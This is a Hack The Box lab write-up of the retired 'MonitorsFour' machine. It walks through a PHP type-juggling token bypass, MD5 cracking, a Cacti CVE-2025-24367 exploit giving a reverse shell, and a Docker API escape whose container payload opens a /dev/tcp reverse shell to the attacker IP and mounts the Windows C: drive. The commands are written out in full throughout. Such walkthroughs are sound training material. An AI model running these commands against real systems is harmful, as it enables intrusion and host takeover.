Discussion — Questions about retired machines? Ping me on Discord.
Hack The Box retired

HTB – MonitorsFour

MonitorsFour
Easy retired Hack The Box

HTB MonitorsFour: From Web App to Windows Host

Target: monitorsfour.htb
Difficulty: Easy
Date: December 12, 2025

This was such a fun box! It taught me about PHP type juggling vulnerabilities, Docker escapes, and how to leverage an exposed Docker API to compromise a Windows host. Let me walk you through exactly how I solved it.


Step 1: Initial Reconnaissance

First things first - let's see what we're working with.

Port Scanning

bash
nmap -sC -sV -sT 10.10.11.98

Results: Port 80 (HTTP) was open. and 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Directory Enumeration

I fired up dirsearch to find hidden directories:

bash
dirsearch -u http://monitorsfour.htb -x 404

Jackpot! Found /.env - a configuration file that should NEVER be public. Inside were database credentials:

code
DB_HOST=mariadb
DB_NAME=monitorsfour_db  
DB_USER=monitorsdbuser
DB_PASS=f*********

💡 Pro tip: Always check for .env, .git, and backup files. Developers forget about them all the time.

Subdomain Discovery

Next, I checked for subdomains using ffuf:

bash
ffuf -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt

Found: cacti.monitorsfour.htb running Cacti version 1.2.28 (a network monitoring tool).


Step 2: Exploiting PHP Type Juggling

Finding the Vulnerable Endpoint

While exploring the main site, I discovered a /user endpoint:

bash
curl http://monitorsfour.htb/user

Response: {"error":"Missing token parameter"}

When I added a fake token:

bash
curl http://monitorsfour.htb/user?token=AAAA

Response: {"error":"Invalid or missing token"}

Understanding PHP Type Juggling

Here's where it gets interesting. PHP has this quirk with loose comparisons (== vs ===). When developers use ==, PHP tries to convert types automatically:

  • "0" == 0true
  • "0e1234" == 0true (scientific notation!)
  • "" == 0true
  • "00" == 0true

If the token validation uses something like if ($token == $valid_token), we can bypass it!

Testing the Bypass

I created a quick wordlist:

code
0
00
0e1234
0e9999
true
false

Then tested each one:

bash
for token in 0 00 0e1234 ""; do
  echo "Testing: $token"
  curl -s "http://monitorsfour.htb/user?token=$token"
  echo ""
done

Success! Multiple tokens worked: 0, 00, 0e1234, and even empty string.

Extracting User Data

bash
curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

Got back a list of users with MD5 hashed passwords, including the admin user!


Step 3: Cracking the Admin Hash

Using John the Ripper

I saved the admin hash and fired up John:

bash
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cracked in 3 seconds: wonderful1

Testing the Credentials

Tried on the main site - no luck. But then I remembered the Cacti subdomain!

marcus:wonderful1 on cacti.monitorsfour.htb → Success! 🎉


Step 4: Exploiting Cacti for Initial Shell

Finding the Right Exploit

Cacti 1.2.28 was vulnerable to CVE-2025-24367 - a Graph Template Injection vulnerability. Essentially, admins can create graph templates that execute arbitrary commands through rrdtool.

Found a working PoC on GitHub:

bash
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC

Getting a Reverse Shell

Set up my listener:

bash
nc -lnvp 60001

Ran the exploit:

bash
python3 exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i 10.10.14.77 -l 60001

Output:

code
[+] Cacti Instance Found!
[+] Login Successful!
[+] Got graph ID: 226
[+] Hit timeout, looks good for shell, check your listener!

And boom! Got a shell as www-data:

bash
www-data@821fbd6a43fa:~/html/cacti$

Step 5: Container Enumeration

Initial Exploration

bash
whoami
# www-data

hostname
# 821fbd6a43fa  (Docker container!)

pwd
# /var/www/html/cacti

I was inside a Docker container. Let's grab the user flag first:

bash
cd /home/marcus
cat user.txt
# [USER FLAG CAPTURED! ✅]

Network Discovery

Checked the network configuration:

bash
ip addr show
# 172.18.0.3 (my container)

ip route
# default via 172.18.0.1 dev eth0 
# 172.18.0.0/16 dev eth0

cat /etc/resolv.conf
# nameserver 127.0.0.11
# ExtServers: [host(192.168.65.7)]

This revealed:

  • 172.18.0.3: Cacti container (me)
  • 172.18.0.2: MariaDB container
  • 192.168.65.7: Docker host (Windows!)

Scanning the Host

I needed a network scanner. Downloaded fscan to the container:

bash
# On my Kali
wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 -O /tmp/fscan
chmod +x /tmp/fscan
python3 -m http.server 8000

# On target
curl http://10.10.14.77:8000/fscan -o /tmp/fscan
chmod +x /tmp/fscan

Ran the scan:

bash
/tmp/fscan -h 192.168.65.7 -p 2375-2380,22,80,443,3389,5985,5986,8080-8081,9000-9001 -np -t 200

Critical finding:

code
192.168.65.7:2375 open
[+] http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce

Port 2375 = Unauthenticated Docker API! This is our ticket to the host.


Step 6: Docker API Escape (CVE-2025-9074)

Understanding the Vulnerability

Docker Desktop for Windows (older versions) exposes the Docker daemon on port 2375 within the WSL2 network. This lets ANY container control the Docker engine.

The attack plan:

  1. Create a new privileged container
  2. Mount the Windows C: drive inside it
  3. Get a reverse shell with full host access

Verifying Docker API Access

bash
curl -s http://192.168.65.7:2375/version
# Got version info - API is wide open!

Listing Available Images

bash
curl -s http://192.168.65.7:2375/images/json

Found: docker_setup-nginx-php:latest

Creating the Malicious Container

Set up another listener on my Kali:

bash
nc -lnvp 60002

Created a JSON payload to mount the host's C: drive:

bash
YOUR_IP="10.10.14.77"

curl -H 'Content-Type: application/json' \
  -d "{\"Image\":\"docker_setup-nginx-php:latest\",\"Cmd\":[\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/$YOUR_IP/60002 0>&1\"],\"HostConfig\":{\"Binds\":[\"/mnt/host/c:/host_root\"]}}" \
  http://192.168.65.7:2375/containers/create -o response.json

Got back a container ID. Started it:

bash
# Extract container ID from response
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)

# Start the container
curl -X POST http://192.168.65.7:2375/containers/$cid/start

Step 7: Root Flag Capture

Getting the Privileged Shell

My listener caught the connection:

bash
nc -lnvp 60002
# Connection from 10.10.11.98
root@5d42e10b2055:/var/www/html#

I'm now root with the entire Windows C: drive mounted at /host_root!

Finding the Root Flag

bash
ls /host_root/Users/Administrator/Desktop/
# desktop.ini  root.txt

There it is! Reading it:

bash
head /host_root/Users/Administrator/Desktop/root.txt
# [ROOT FLAG CAPTURED! ✅]

📝 Note: I used head instead of cat due to some terminal encoding issues.


Summary of Tools Used

Tool Purpose
Nmap Port scanning
Dirsearch Directory enumeration
FFUF Subdomain fuzzing
cURL API testing and exploitation
John the Ripper Password cracking
Netcat Reverse shells
fscan Network scanning from container
CVE-2025-24367 Exploit Cacti RCE
Docker API Container escape

Attack Chain Visualization

code
1. .env file leak → DB credentials
2. PHP type juggling → User data dump
3. MD5 crack → Cacti access (marcus:wonderful1)
4. CVE-2025-24367 → Shell as www-data in container
5. Network scan → Docker API on port 2375
6. Docker API abuse → Privileged container with C: mount
7. Root shell → Complete Windows host compromise

Happy hacking! 🚀

Author avatar

Written by Surajit Sen

Was this writeup helpful?

Comments